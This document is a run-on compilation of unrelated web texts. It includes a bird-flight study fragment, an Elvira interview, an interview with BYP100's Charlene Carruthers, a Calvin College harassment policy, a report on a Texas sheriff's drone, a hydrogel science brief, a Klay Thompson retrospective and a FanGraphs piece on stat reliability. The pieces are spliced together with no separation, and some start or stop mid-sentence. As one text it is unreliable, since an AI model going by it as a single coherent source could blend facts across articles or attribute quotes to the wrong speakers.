Movie 4). Noise is characterized by smaller deviations around the zero time point and on average has a symmetrical shape (relative to the zero time point). The distribution densities of the maximal deviation of acceleration (at zero time) shown in Supplementary Fig. 19b demonstrate that flaps can be readily separated from noise by simply selecting a threshold around 0.6g 0. However, separation of drops from flaps and noise required information about the signal shape. To estimate the duration of flapping flight we summed the ±0.35 s interval around flap detection points.
Wind speed analysis
Wind information (absolute value and direction at the birds |
safe” for use in food and beverage manufacture. So Flying Dog had to find more four-leaf clovers from the same field and submit them to the FDA for analysis, to make sure they were free of pesticides or other chemicals, and explain how the plants were used in the brewing process.
Luckily, Weston says, the approval came fairly quickly, and Lucky SOB has returned to bars and stores every February since.
— Fritz Hahn
Flying Dog Lucky SOB Irish Red Ale. flyingdogbrewery.com. About $10 per six-pack of 12-ounce bottles in stores, and $6 per pint in bars.From Manhattan (KS) to the Macabre: A Conversation with Elvira, Mistress of the Dark
When I was offered to interview Elvira, Mistress of the Dark, I was a bit speechless. Being a fan of the legendary actress, it was a moment that made me stop in my tracks.
The woman has worked with Federico Fellini, had her own comic book, her own video games, her own pinball machines, her own reality TV show: “The Search for the Next Elvira” - and oh yeah, dated Elvis.
What Elvira is most known for is hosting “Elvira's Movie Macabre” which aired B grade horror movies while she lounged on a sofa – looking dead sexy - cracking jokes with her trademark Valley Girl delivery.
One of her most legendary feature movies, Elvira Mistress of the Dark is an 80's movie classic and has more gag-able one-liners than a Justin Bieber roast. Elvira – whose real name is Cassandra Peterson – will be making appearances all three days of the St. Louis Comic Con held May 22-24 at the America's Center.
You are coming to St. Louis for our annual Comic Con, what has your experiences been like at previous Comi Cons?
I've done these things for a lot of years. I think the only Comic Con at one time was the one in San Diego and it was in the basement of a hotel. I was the only woman. There were hundreds and hundreds of men and all their fans and me. Before Comic Con's there were car shows – I actually came to St. Louis one time for a car show. They would have celebrities come and sign autographs.
What is the strangest thing you have witnessed at one of these events?
There are some pretty strange things – people dressed up in some crazy costumes. Some of the nicer things I see are people with tattoos of me which is really awesome and still kind of startles me. There is one guy I see fairly often at Comic Cons and he has five or six tattoos of me on one arm.
The love from the fans must be overwhelming. Has there ever been a time you got emotional at a Comic Con?
Yea, a lot - just the last one I did: A girl came up to me and she had a really beautiful Elvira tattoo on her forearm and I asked her about it. She burst into tears because she said she got it the day after her dad died in remembrance of her dad because their favorite thing to do together when she was little was watch my show. They would always say, “It's Elvira time!” She started sobbing and I started sobbing and it was weird how I couldn't get over it for the next several people. I had to keep apologizing. So it does get emotional. Many people (mainly women), but also sometimes men (mainly gay men) say to me I was the inspiration for them when they were growing up because they felt different, odd - and when they saw my movie, Mistress of the Dark - to them it made them feel like it was OK to be weird. They say it gave them self-esteem and helped them grow up and feel good about themselves. Every time I hear that – which is surprisingly often – that is the best thing about being this character.
Does your gay fan base turn out for the events?
Oh, they do – yes! Even in towns where I didn't know they had gay people [laughs]. Just kidding - I know they are everywhere. They come out in droves for sure – it always make me feel good for sure.
Has there ever been a celebrity at a Comic Con that flipped your wig?
I was always impressed by Stan Lee. Now we have been good friends for many years. I was always blown away by him since he is such a pillar of the industry. Recently I'm flipping out over Norman Reedus. I'm a huge, huge Walking Dead fan and Norman Reedus is going to be at one of my upcoming shows and I'm getting pretty flipped out by that. There's a lot of people at these shows that I love - people from older movies like John Waters – I am a huge John Waters fan; Herschell Gordon Lewis – the king of gore. People like that I am always blown away with since I am a huge horror movie fan.
Manhattan, Kansas is only a short 5 1/2 hour trip from St. Louis – any chance you might haunt your old stomping grounds?
Probably not this time around. Actually, last year I went there with my mom. I took her to - I don't know which one - her like 65th high school reunion. It was crazy. I actually saw a lot of people who knew me as a baby. It's a nice little town.
In Colorado, you worked as a go-go dancer in a gay bar? How did that work out for you?
Well, it was really weird. I hung out at this bar called The Purple Cow and I was actually go-go dancing as a girl – don't ask me why. I think it was because it was on the border of Fort Carson Army Base so I guess I was there to entertain the straights that happened to wander in there. There were drag queens and they were doing a show and the third drag queen that was supposed to be there couldn't make it. They asked me if I could put on her drag and be the third person in The Supremes seeing how they did a Supremes type show and the next thing I know is I am a girl dressed as a girl being a guy. I don't know what in the hell I was, but the worst thing was I had to put on black face – it was all very odd. I did it for awhile because she never came back. Some people did think I was a fantastic drag queen.
You have been an advocate for gay rights – the LGBT community had a date with the Supreme Court regarding bans on same-sex marriage. How do you think the LGBT community will fare?
Oh, positively it will go your way – don't you worry. It will be a struggle for awhile like any human rights issue. I am 100% positive it will eventually sort itself out in favor of the LGBT community.
In the web series, RuPaul Drives, RuPaul said that Elvira is a part of Americana. Did that freak you out?
I was flattered for one thing. I certainly am ingrained in the whole pop culture and I have been around for so many friggin years. I'm like covered wagons and saloons or something – I been around for so damn long. So I guess when you are around for that long you are a part of Americana whether people like it or not.
As I was name dropping you to all my friends, it was interesting to see how the younger generation seems to appreciate you as much as us older queens. What is the secret to the timelessness of Elvira?
For a couple of decades everyone knew me, but there was a time period somewhere in the 2000's where I really thought Elvira was going to disappear. There weren’t a lot of things happening and I was worried about my fan base dying off. Then I don't know what happened, it could have been partially shows like RuPaul's Drag Race and a lot of the different reality shows I have been doing but it
bounced back all of a sudden and my fans became younger and younger. Every time I would go to a Comic Con I would keep getting younger fans and I thought, “Oh gosh its back!”
Elvira: Mistress of the Dark is chockfull of memorable lines. What would you say if your personal favorite?
“If I want your opinion, I'll beat it out of you.” Mainly because I use it so often in my real day to day life. There were a lot of brilliant lines. I wish I could take credit for all of them - I can take credit for some of them – but a lot of them are John Paragon (who played Jambi the Genie in Pee Wee's Playhouse) and Sam Egan, my two co-writers. I did come up with the “How's your head?” line – I did do that.
It has been announced that Netflix will be producing a new movie for Pee-Wee Herman. Any chance of another cameo?
Funny you mention that. I just went on the audition recently. So we'll see – you never know. Even though Paul kindly suggested me for a couple roles, I still had to audition so you never know. It sure would be fun to be in it. I am so glad he finally got this together – he has been working on it for years.
What is a typical Halloween for Elvira like?
It's just kind of work, work, work – I am sort of burning the candle at both ends. I am doing Knott's Berry Farm again, which is the Halloween Haunt here in Southern California. Which, a lot of people don't know, is the largest Halloween venue in the world and the longest and the oldest. I have done it 24 times, I believe. It's a big, big production and I work on it for months. Its super busy; its insanely busy. I have a year's worth of work that I have to cram in about a month and a half. I do work all year round at various things, but that season is ridiculous. Last year I was shooting my Hulu show, 13 Nights of Elvira during the day and then doing the show at night and that was almost too intense.
I am always interested in how celebrities wind down and relax. Once the paint is off and Cassandra re-emerges, what do you to unwind?
Drink! (Laughs) I like cooking – believe it or not. Cooking and drinking at the same time. I learned to cook in Italy when I was still a teenager and I really enjoyed it. It's not very exciting, but I like to listen to music and cook.
So you say you listen to music. What would be the first five songs on your iPod?
Everyone is going to think it is ridiculous, but just like old movies, I am really into old rock and roll. I have this thing for music like Led Zeppelin and Jimi Hendrix. Although I am really into Jack White and Queens of the Stone Age. When I did "Mistress of the Night,” Guns 'N Roses just came out and I listened to them morning, noon, and night. When I was putting on my makeup I was listening to “Welcome to the Jungle.” It's like musical speed. But I do listen to everything, there isn't any kind of music I don't like.
What projects are your currently working on?
I am going to be on a television show I just shot, but I can't talk about it. It's going to be around a Halloween reality show, but I can't talk about it. But I am working on an animated project, so that could take many years. I think Elvira lends herself to animation very well, like an Adult Swim type show. I've been doing a lot of voice-overs lately like Teenage Mutant Ninja Turtles so hopefully I have a voice that people will recognize.
Cassandra will be at the St. Louis Comic Con May 22nd-24th at the America's Center located at 701 Convention Plaza. For ticket prices and information, visit wizardworld.comThe 30-year-old radical black queer feminist who’s Rahm Emanuel’s worst nightmare
We do not believe that [Rahm Emanuel and Anita Alvarez] have the capacity to be in positions where they have decision-making power over so many lives. They’ve demonstrated over and over again that they are not effective at making good decisions when it comes to our lives.
There is little doubt that the Black Lives Matter era of protests will be branded as a millennial moment. But Black women are so prominent in the movement’s leadership, the era might also be characterized as a matriarchal moment. For example, in the outrage following the release of the Laquan McDonald video depicting a 17-year old being shot by a Chicago cop 16 times, four of the most prominent groups that spoke out—Black Lives Matter, Black Youth Project 100 (BYP100), We Charge Genocide and Fearless Leading by the Youth (FLY)— were led by Black women.
This gender alignment marks a stark deviation from a deep tradition of patriarchal leadership. This is not your grandfather’s black freedom movement.
Charlene Carruthers, the 30-year-old national director of BYP100, makes clear that this female ascendancy, as it were, has scholarly roots in the sterling work of feminist public intellectuals such as Cathy Cohen of the University of Chicago and Barbara Ransby of the University of Illinois at Chicago. BYP100, for example, is an offshoot of the Black Youth Project, a venture launched by Cohen in 2004. A well-known theorist of Black queer feminism, Cohen’s views have strongly shaped the agenda of BYP100.
In These Times sat down with Carruthers to talk about the role of BYP100 in Chicago’s anti−police-violence movement and why the group thinks it’s crucial to “fully incorporate” a Black queer feminist perspective.
How did BYP100 begin?
In 2012, a group of young Black people who were part of an advisory council for the Black Youth Project said to Cathy Cohen, “We want to have a national convening with other Black activists from across the country.” And so Cohen secured the resources, and 100 young Black folk were invited to attend a convening called the “Beyond November Movement” in 2013. What we intended was to discuss movement-building for Black liberation beyond electoral politics, in the aftermath of the election of President Barack Obama. That Saturday night, the George Zimmerman verdict was announced. We gathered in the circle and listened. There were all kinds of reactions to the “not guilty” verdict: Some people cried, some people screamed, some people left the room. And we stood in a circle processing that moment.
But you had gathered for something completely different.
Right. And I fully believe if we were not gathered that particular weekend, on that particular night, BYP100 wouldn’t exist. There were many things that happened immediately, but we all committed to going to the 50th anniversary of the March on Washington, in Washington, D.C. It was there that we actually drafted a mission and core value statement and began to think of ourselves as an organization.
So the Zimmerman verdict is what shaped BYP100’s focus on institutional violence and mass criminalization of Black youth?
Folks who attended that initial convening come from various parts of movements: There were artists, elected officials, folks who did LGBTQ rights organizing, gender justice organizers, folks from labor unions—all kinds of folks were in that room. It was out of that moment that we decided to focus on mass criminalization and, really at the core of it, looking at anti-Blackness and its role in the oppression of Black folks, particularly in this country, but also worldwide.
You said “anti-Blackness.” Was that an attempt to be more specific than the general term “white supremacy”?
We weren’t doing that level of analysis collectively at that particular moment. But we named anti-Blackness, white supremacy, patriarchy, homophobia, transphobia as the things that we needed to fight against, and recognized that many of those things contributed to the killing of Trayvon Martin.
You mention homophobia; that’s a new dimension to the Black freedom struggle. Was there any resistance?
Well, Cathy [Cohen] is known for her scholarship in both queer studies and Black feminism. And so at any convening that she was involved in, people came with that consciousness.
So Cathy’s ideological perspective is really BYP100’s guiding light.
I would say that it guides what we do in significant ways. Cathy, and other Black women and feminists, too, like Barbara Ransby, Barbara Smith, the late poet Audre Lorde, the late Ella Baker.
How are older, more established groups responding to your efforts?
There have been mixed responses. Our membership is 18 to 35, but our organizing work has always been intergenerational. We are under no perception that we can do this alone. We do believe young people’s leadership should be valued—and in many ways, prioritized—in movement building and organizing, in order to ensure that it persists. I’ve also found that many of the disagreements are along the lines of ideology and not necessarily age.
How did BYP100 get so deeply involved in this current struggle against the Chicago Police Department in response to cases like the killings of Rekia Boyd and Laquan McDonald?
The analysis that we have—our worldview, as a collective—and folks’ understanding of what’s at stake this particular moment: not just the lives of some hypothetical person, but our lives. The struggle against CPD is one aspect of the long-term struggle of abolishing anti-Blackness. Taking up the struggle for the sake of accountability in the killing of Black people like Laquan and Rekia is essential.
Do you have particular goals? For example, do you want the resignation of Chicago Mayor Rahm Emanuel or Cook County State’s Attorney Anita Alvarez, who are accused of suppressing the Laquan McDonald video?
We’re calling for the resignation of both. We do not believe that they have the capacity to be in positions where they have decision-making power over so many lives. They’ve demonstrated over and over again that they are not effective at making good decisions when it comes to our lives. We also want the Chicago Police Department, which receives nearly 40 percent of the city’s budget for public services, to be defunded, and for those dollars to be invested in quality public schools, affordable housing and job creation. And we see that happening through a participatory budgeting process.
What about electoral politics?
Electoral and civic participation is the third rung of our overall theory of social change—part of the set of tools we have to create transformative change. The other two rungs are direct action organizing and public policy advocacy.
Many of us older activists have been waiting a long time for something like this. What fired up your passion for this kind of engagement?
I grew up on the South Side of Chicago. My family could be best described as working-class. Some of my earliest experiences with power and beginning to understand the kind of world we live in were at the welfare office with my mother, or hearing my father tell stories about people he’d trained receiving promotions over him. I first got involved in activism in a real way when I went to college at Illinois Wesleyan University. At the end of my very first year I had the opportunity to go study politics in South Africa. We were there 10 years after the end of apartheid. Going to South Africa was perhaps the closest I could get to what it could look like if I was around in America in 1978. I was 18 and coming from a city that is still very segregated. That trip expanded my consciousness around what it meant to be Black on a global level or outside of Chicago, really, and got me interested in politics. I didn’t decide to be an organizer until after I finished graduate school, in 2008.
What’s next for BYP100?
BYP100 is committed to training this generation and future generations of young Black activists to organize and mobilize in order to create transformative change for all Black people. We do this work through what we call a “Black queer feminist lens” because we believe that in order to achieve liberation for all Black folks we have to be radically inclusive—not just in our analysis, but also in our practice, in how we go about leadership. We believe that a Black Freedom Movement in our lifetime is possible.Michael Weinberg writes, "After over a year of community development, the Open Source Hardware Association has released its new certification program. Hardware with the certification logo is guaranteed to meet the community definition of open source hardware. As a bonus, any hardware registered before the end of October is eligible to receive the coveted 000001 unique ID registration number."
By design, no one owns the term “open source hardware” or the open gear logo. This allowed both the term and the logo to be widely adopted by the community. However, it also created a challenge. In many cases, creators would label their hardware as being open source and use the open gear logo without complying with the community definition. This created confusion in the community where users were unsure what it really meant when something was labeled “open source hardware”.
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The certification is designed to complement the existing open gear logo by bringing clarity to how the creator is using the term “open source hardware”. Unlike the open gear logo, the certification logo is controlled by OSHWA. In order to use the certification logo, a hardware creator must make a legally binding promise that their hardware complies with the community definition of open source hardware. That means that when users see the certificated open source hardware logo they know the hardware complies with the community definition of open source hardware.In the same way, if a professor engages in a romantic relationship with a student, that professor is using sex to create conditions for all other students that might be worse than for the student who is privileged by the relationship. The professor could also be taking advantage of his/her position of authority to demand sexual favors of the student, thus creating a hostile or even abusive environment for that student by means of sex. That is why these relationships constitute sexual harassment. The consent of a student to a sexual or romantic relationship with a faculty member is not sufficient to make this relationship legitimate, since the element of authority—the power differential between a student and a professor—is still present and cannot be eliminated. For this reason, romantic or sexual relationships between Calvin College faculty and students are never acceptable.
Calvin College will not tolerate sexual harassment or abuse of any kind. It is our collective responsibility to promote a safe learning environment. Sexual harassment by any member of Calvin’s faculty, staff or student body is an assault on personal dignity and a violation of federal and state law. Calvin affirms its commitment to maintaining an educational and working environment that is fair, respectful, and free from sexual harassment. No one at the college may retaliate against a person who makes a bona fide claim of sexual harassment.
Types of Sexual Harassment
Sexual harassment can be verbal (comments about a person's body, spreading sexual rumors, sexual remarks or accusations, dirty jokes or stories), physical (grabbing, rubbing, flashing or mooning, touching, pinching in a sexual way, sexual assault) or visual (display of naked pictures or sex-related objects, obscene gestures). Sexual harassment can happen to women and men, transgender and intersex persons, and those who are non gender-conforming. It is not limited by sexual orientation.
Some types of verbal behavior that might constitute sexual harassment are:
Continuous idle chatter of a sexual nature and graphic sexual descriptions;
Sexual slurs, sexual innuendoes and other comments about a person’s clothing, body and/or sexual activities;
Offensive and persistent risqué jokes or jesting and kidding about sex or gender-specific traits;
Suggestive or insulting sounds such as whistling, wolf calls or kissing sounds;
Sexually provocative comments or compliments about a person’s clothing or the way their clothes fit;
Comments of a sexual nature about weight, body shape, size or figure;
Comments about the sensuality of a person, or his/her spouse or significant other;
Distribution of written or graphic materials that are derogatory and are of a sexual nature;
Repeated unsolicited propositions for dates and/or sexual relations;
Asking about sexual fantasies, preferences or history.
Examples of gestures or non-verbal behaviors that might be considered sexual harassment are:
Sexual looks such as leering and ogling with suggestive overtones;
Licking lips or teeth, winking or throwing kisses;
Holding or eating food provocatively;
Lewd gestures, such as hand or sign language to denote sexual activity;
Persistent and unwelcome flirting;
Staring at an individual or looking a person up and down (elevator eyes);
Displaying sexually suggestive pictures, calendars, posters, statues, etc.
Unwanted physical contact can range from offensive behavior to criminal acts. While some might dismiss some of these behaviors as an annoyance, others will consider them to be sexual harassment. It should be stressed that all of these behaviors are inappropriate in the workplace. Some examples of unwanted physical contact that might be considered sexual harassment are:
Touching that is inappropriate in the workplace or classroom, such as patting, pinching, stroking or brushing up against the body;
Giving a massage around the neck or shoulders;
Attempted or actual kissing or fondling;
Cornering or mauling;
Physical assault;
Coerced sexual relations;
Attempted rape or rape;
Touching or rubbing oneself sexually around another person;
Pranks such as exposing underwear or parts of the body;
It should be stressed that while some behaviors may be offensive, unprofessional and/or against college policy, they may not necessarily be considered sexual harassment. For example, general use of profanity and vulgar language may not be sexual harassment unless it is sexually oriented or overused to the point that a hostile work environment is created.
Perception vs. Intent
An individual’s perception of what is, or is not, sexual harassment, adds greatly to the complexity of the sexual harassment issue. Well intentioned gestures such as a pat on the shoulder, touching, resqué remarks, jesting comments of a sexual nature or physical contact may be interpreted as acts of sexual harassment by one recipient, while another may dismiss them as merely annoying. Likewise, some individuals may perceive leering or ogling as sexual harassment, while others may perceive the same behavior as looking or staring and may attribute no meaning to it.
Often people accused of sexual harassment may not realize that they have committed acts of harassment. Accused harassers may have intended only to be funny or even complimentary, and may believe that their conduct is not only appropriate and acceptable, but also appreciated. They are often truly shocked when they are told that someone considered their behavior to be sexual harassment.
In determining whether behavior is to be considered sexual harassment, the courts generally use the “reasonable person” standard. Using this standard, the court asks whether a reasonable victim of the same sex as the plaintiff would consider the comments or actions sufficiently severe or pervasive enough to create an abusive working environment. Another way to look at the issue — and your own behavior — is to ask whether you would want your spouse/partner, child or parent to be subjected to the same type of behavior.
Federal law recognizes two types of Sexual Harassment:
Quid pro quo (Latin for "this for that")
For example, it is sexual harassment when a teacher or school employee offers a student a better grade or preferential treatment in return for sexual favors or if a teacher threatens to lower a grade if sexual contact is refused.
For example, it is sexual harassment when a teacher or school employee offers a student a better grade or preferential treatment in return for sexual favors or if a teacher threatens to lower a grade if sexual contact is refused. Hostile environment
Sexual harassment also occurs when sexual touching or comments create an environment where people feel uncomfortable and unsafe, or are prevented from participating in or benefiting from a program or activity. This type of harassment does not have to involve a threat or promise of benefit in exchange for a sexual favor.
Remember: Any romantic or sexual relationships between people in positions of power or authority over others constitute an abuse of power and are, by definition, abusive. For this reason, Calvin College prohibits romantic relationships between faculty members and students, between students and staff members in mentoring positions, and between employees when a supervisory relationship is involved.
What to do
If you have experienced sexual harassment or abuses of power at Calvin, or suspect that someone you know might be involved in a situation of harassment or abuse, call the I Will Report It designated message line at 616-526-IWRI (616-526-4974). The line is available for students, faculty, and staff 24 hours a day, seven days a week, every day of the year.
You may also speak to a trusted person who will report it to their Vice President or the Associate Vice President for Human Resources. The College encourages the reporting of all perceived incidents of discrimination, harassment or retaliation regardless of the offender's identity or position.The Montgomery County Sheriff’s Office (MCSO) near Houston, TX has owned its Shadowhawk UAV (unmanned aerial vehicle) since October 2011. Like other law enforcement drones across the country, MCSO’s was funded by Department of Homeland Security grants and packs powerful video and thermal imaging surveillance equipment. But at 29 pounds and seven feet long, the jet fuel-powered Shadowhawk unmanned helicopter not only dwarfs the UAVs of peer departments, but exceeds the weight limit set by the Federal Aviation Administration (FAA). While the Texas Attorney General ordered MCSO to release its UAV policy to MuckRock, both the FAA and the sheriff refuse to disclose whether the department has an active drone certificate despite the weight rule.
Most unmanned aerial vehicles (UAVs) owned by civilian law enforcement agencies (like the Seattle Police Department’s Draganfly or the Mesa County Sheriff’s Falcon) are battery-powered and have wingspans under three feet. According to documents submitted to the FAA, the MCSO’s Shadowhawk runs on jet fuel, boasts a six-foot wingspan and weighs 29 pounds.
Its heft puts the MCSO drone over the FAA’s acceptable weight limit for public safety UAVs. An agreement with the Department of Justice last May established that civilian law enforcement agencies can receive FAA authorization to operate drones up to 25 pounds. The FAA-DOJ agreement increased the allowable weight for public safety agency drones from the 4.4-pound limit established by Congress in February 2012 under the FAA Modernization Act.
The sheriff’s Shadowhawk drew unwanted attention last year when it crashed into a MCSO armored vehicle during a demonstration and photo-op. Civil liberties advocates were also worried by the MCSO’s choice of the Shadowhawk unit itself. Vanguard Defense Industries, which manufactures the Shadowhawk, emphasizes the unit’s compatibility with non-lethal weapons systems such as tasers and bean bag “stun batons.”
MSCO purchased the Shadowhawk in October 2011 at a cost of more than $220,000, according to documents the sheriff released to MuckRock as part of the Drone Census project. Like other police departments seeking to acquire UAV technology, the MCSO received funds from the Department of Homeland Security’s Urban Area Security Initiative (UASI).
According to its 2010 UASI grant application, the sheriff proposes to use its UAV on a regional basis “to provide aerial surveillance at any critical incident involving a public safety response.” Such incidents might include disaster evacuation, building collapses, train derailments, fire emergencies, hazardous materials spills and SWAT rescues. Unlike smaller, battery-powered drones, whose maximum flight time can be as short as 15 minutes, the MCSO Shadowhawk can remain in the air “for over an hour” to provide “real time reconnaissance through both infra-red and color video [sic],” according to the UASI application.
The same application indicates that MCSO’s UAV will provide public safety personnel “with the capacity to perform precise, repetitive scans of a region hour after hour, day after day, night after night.” The Shadowhawk can perform both visual and thermal surveillance “in complete darkness, in dangerous weather conditions under complete computer control.”
Beyond its grant application and a sales quote for the Shadowhawk, the MCSO attempted to withhold its UAV policies and procedures as requested by MuckRock. The Texas Attorney General’s office rejected the MCSO’s suggestion that releasing further information could “jeopardize the lives and safety of police officers and the general public,” and ordered the sheriff to release the policy.
This “Tactical Air Unit Policy and Procedure” further codifies the purposes for which MCSO aims to use its drone, with a specific emphasis on public safety, search and rescue and tactical operations, particularly in the rural areas of the county. The SWAT (Special Weapons and Tactics) and narcotics units receive specific mention as beneficiaries of the technology, as these units “will utilize camera and FLIR [Forward Looking Infrared] systems to provide real time situational awareness of the target during high risk operations.”
The rest of the policy defines UAV flight crew training standards, launch procedures and maintenance requirements. The Shadowhawk apparently records its video feeds, as the video operator is tasked with “recording and retrieving saved digital data.” There is no explanation in the policy, however, of the purposes to which this data may be stored. As MuckRock has found in other law enforcement UAV policies, the MCSO protocols contain no mention of privacy concerns or probable cause requirements for drone surveillance.
The MCSO’s bold designs for tactical drone operations have been stymied so far by a limited authorization from the FAA. The most recent certificate released by the FAA authorized MCSO to operate its Shadowhawk solely within a one-nautical-mile circle centered in the extreme northwest corner of the county, far from the Houston suburbs that lie within the sheriff’s territory.
MCSO’s drone authorization, which must be renewed every 24 months, authorizes flights within this narrow zone “for the sole purpose of training and development of safety/operational procedures.” The authorization also includes the same restrictions that currently bind all public agency UAVs in domestic airspace: the Shadowhawk can fly only during daylight hours within visual sight of an observer, must remain below 400 feet above ground level and cannot conduct operations over populated areas, heavily trafficked roads or open-air assemblies of people.
The most recently released drone certificate for the MCSO expired in December 2012. Documents do not indicate whether MCSO has received a subsequent authorization from the FAA to operate its unit. The FAA and Montgomery County Sheriff’s Office refuse to discuss the authorization process or confirm whether the MCSO has an active drone certificate.
Image via Cryptome.orgIf you’re like most people, you probably don’t think much about hydrogels. Even when you encounter them — those Jell-O cubes in the school cafeteria, say, or the Sea Foam Salad you had at Grandma’s — you probably don’t give them a second thought.
But some scientists think about hydrogels a lot, and these materials made up of cross-linking compounds and water have come a long way in recent years. One goal is to develop gels that are stronger and self-healing, with potential applications in tissue replacement and other medical fields.
An advance toward that goal is reported in the journal Nature. Scientists in Japan have created such a gel, primarily of water and clay.
The key for Takuzo Aida of the University of Tokyo; Justin L. Mynar, who is now at the University of California, Berkeley; and colleagues was the development of a binder, a long molecule with extensive “fingers” at the ends, that links the clay particles into a network, trapping the water. The bonds that form the network are relatively weak, which is what makes the material self-healing.
The gel can be made in about three minutes at room temperature. Dr. Mynar said the resulting material was about 98 percent water, which meant that bioactive materials — enzymes, proteins, even cells — could be put inside. “They don’t know that they’re actually encompassed into a solid gel-like substance,” he said.
With a lot more research work, Dr. Mynar said, gels like this may someday be used for replacing cartilage in the body, in which case their self-healing ability would be particularly important.OAKLAND — Klay Thompson was half-way through this conversation, patiently re-living and re-counting as much as he could, then he stopped, shook his head and found the words he was really seeking.
“God, I can’t believe it’s a year already,” Thompson said with a resounding full-body shrug.
Yes, it does seem amazing — of course, the date (May 28, 2016) and the circumstances (Game 6 of the Western Conference finals in Oklahoma City, with the Warriors trailing 3-2 after a record-setting 73-victory regular season) are permanently rooted in practical fact and history.
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Warriors’ Draymond Green to play vs Charlotte But a blink or two after it was over, after Thompson’s 41-point performance, and playoff-record-setting 11 three-pointers (on 18 attempts) kept the Warriors’ season alive that night, the moment seemed like it was already existing out of time and beyond normal sports dimensions, moving into some higher, cloudier plane.
This was the game that changed everything, even though it didn’t lead to a Warriors a championship, and by itself joins Michael Jordan’s shot against Utah in the 1998 NBA Finals, the Patriots-Raiders “Tuck Rule” playoff and just a handful of other iconic sporting events that stand alone, immortal and in their own elevated cosmos.
A playoff game for all-time, leaving mortals strewn about in its wake.
“I know that if not for Klay’s remarkable performance,” Warriors assistant coach Jarron Collins said recently, “there’s a different road being traveled right now.”
One large consequence: Thanks to Thompson, the Warriors won Game 6, went on to finish the series comeback by winning Game 7 at home, moved on to the Finals against Cleveland, and then lost.
And those were probably the exact details necessary to draw Kevin Durant from the Thunder to the Warriors in July, which ended the Thunder’s tenure as a chief NBA title contender and kept the Warriors from having to decide whether to pay Harrison Barnes and Festus Ezeli large long-term dollars, among many other developments.
Did the Warriors sense the weight of all of this, even before Game 6 against Durant’s Thunder a year ago?
“Somewhere in the back of your mind you’re definitely thinking, ‘hey, if we lose this, there’s no shot (at Durant),” Draymond Green recalled recently.
For Thompson, looking back now, as the Warriors get set to play the Cavaliers again in the Finals, his memories of that Game 6 focus directly on the immense energy-level it took to beat the Thunder compared to the Warriors’ recent conference-final sweep of San Antonio.
You can draw a line separating the two series–one of them was against Durant, this latest one was with Durant as a Warrior, which wouldn’t have happened if Thompson doesn’t have that Game 6.
“I don’t really think about all the things that fell in line afterward, which is crazy to think about,” Thompson said. “Because now |
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Reliability can be used to regress a player’s stats to the mean and then to create error bars around that, giving a confidence interval of the player’s true talent. To continue with the strikeout example, I’ll add another point — namely that, the more plate appearances a player has recorded, the closer the estimate of his true talent will be to the strikeout rate he’s running at the time. In fact, strikeout rate is so reliable that, after a full season’s worth of plate appearances, a player’s strikeout rate will probably be almost exactly reflective of his true talent. The same cannot be said for many other stats, like line drive rate, which is mostly random; the reliability for LD% never gets very high, even after a full season’s worth of batted balls.
For information on how to calculate reliability, and more specific details on how it is used, read our original article which was referenced in the first paragraph. I’m not going to go over any of the methodology in great detail, since it’s all in that original post and I didn’t change much. The only real difference is the input data used; instead of using data from 2009-2014, I went with 2013-2015. The few years lost, I found, didn’t make much of a difference, since the samples were plenty adequate. I also wanted to keep the run environment stable, so I avoided stretching the sample over too many years. And, lastly, using fewer years made the code run much quicker.
For Statcast-based stats, I was compelled to use only 2016 data, so I have incomplete seasons. It doesn’t seem to matter too much, and it’s easy to extrapolate what the reliability would be over larger sample sizes. Additionally, for pickoff data, I used 2009-2015.
This update contains a lot of different stats, but some finagling had to be done to include some of them. Any counting stat had to be turned into a rate stat, usually just by dividing by plate appearances. You can’t find the reliability of home runs, but you can find the reliability of home runs per plate appearances, which is really the same thing.
Some stats — specifically ERA, FIP, and xFIP — were particularly difficult, and I’m not really married to how I calculated the reliability. Those three stats would be easier if not for the fact that pitchers don’t always pitch full innings. My first thought was to look only at innings that the pitcher both started and completed, as that would be simplest, but that would be a biased sample of innings: if the pitcher didn’t complete the inning, he likely allowed more runs than if he did complete it. Another idea was to define innings as the time between three outs; so, if a pitcher was pulled after two outs, then got four in his next appearance, the first inning would encapsulate everything that happened from when he was put in in his first appearance until he got the first batter out of his second. The second inning would be everything that happened after he retired the first batter in his second appearance. But this also raised an issue: what if a double play happened when a pitcher was one out away from finishing his “inning”?
An alternative option would be to do it on a game-by-game basis: a pitcher’s ERA in game one was 4.50; in game two, it was 3.00; in game three it was 6.00, etc. How quickly does that stabilize? That method would give the reliability by game — so, after 10 games, a pitcher’s ERA has a reliability of x. I didn’t like that way as much; you’d have to worry about games where the pitcher didn’t record an out — his ERA for the game is undefined, so how does that get incorporated? Additionally, there will always be a much smaller sample of games than just about any other denominator.
In the end, I decided the simplest solution would be not to find the reliability of ERA, but of runs and earned runs allowed per batter. This isn’t necessarily a worse metric than ERA by any means, and it’s much simpler to find its reliability. I did the same for FIP and xFIP, creating a new formula by simple regression that used total batters faced as the denominator instead of innings. These new formulas have nearly perfect correlations with the traditional ones (r=0.97 for FIP and 0.93 for ERA). While there is a little skew because better pitchers face fewer batters per inning, it’s not that big. While this may not be a perfect solution, it’s certainly an adequate one.
There were several stats, unfortunately, that could not be calculated. For example, OPS is composed of multiple denominators; for BsR and UZR, I don’t have the granular play-by-play or game-by-game data. But for most of the commonly used stats that we have here on FanGraphs it’s easy enough to calculate the reliability, though I omitted some of the more obscure PITCHf/x ones metrics because the code takes quite a while to run for pitch-by-pitch data.
The deliverables, how the results can actually be presented, are a little tricky. I can’t exactly put up a table of all the reliability values for all the different stats, because there are hundreds of values for nearly 150 different stats, and the table would be massive and largely unnecessary. What I’ll present is an interactive tool similar to the one in our last post, made by Sean, that lets you input a player’s numbers and the sample size and calculates a confidence interval — followed by a discussion of some of the more interesting results. And as an added bonus, thanks to Neil Weinberg, the reliability graphs will soon be included in the FanGraphs library under the entries for each stat as a handy reference.
First, the tool. It works in the same way as the last one did, so a full description can be found in our previous article. To briefly reiterate, you select a stat (and now a player type, such as pitcher or batter) and a confidence level, then hover your mouse over the graph corresponding to how big the sample size is. A tooltip will pop up and give you the regressed stat and the confidence interval.
There were some results that particularly interested me. One was LOB%. To find the reliability of LOB%, I had to calculate it a tad differently from how it’s done here on FanGraphs — our leaderboards use a formula, and I needed discrete data. Either method gives you pretty much the same results; it’s just a lot easier to use the formula, which is why that’s what’s used.
But despite the conventional wisdom that strand rate is entirely luck, there seems to be some skill involved. After just 50 or so base-runners, the reliability is 0.45, which isn’t all that low. It never does get much higher, but that’s still a significantly higher number than we’d expect from an almost purely luck-based stat. And we know it is heavily luck-based, because there’s almost no year-to-year correlation. (Click to embiggen any picture.)
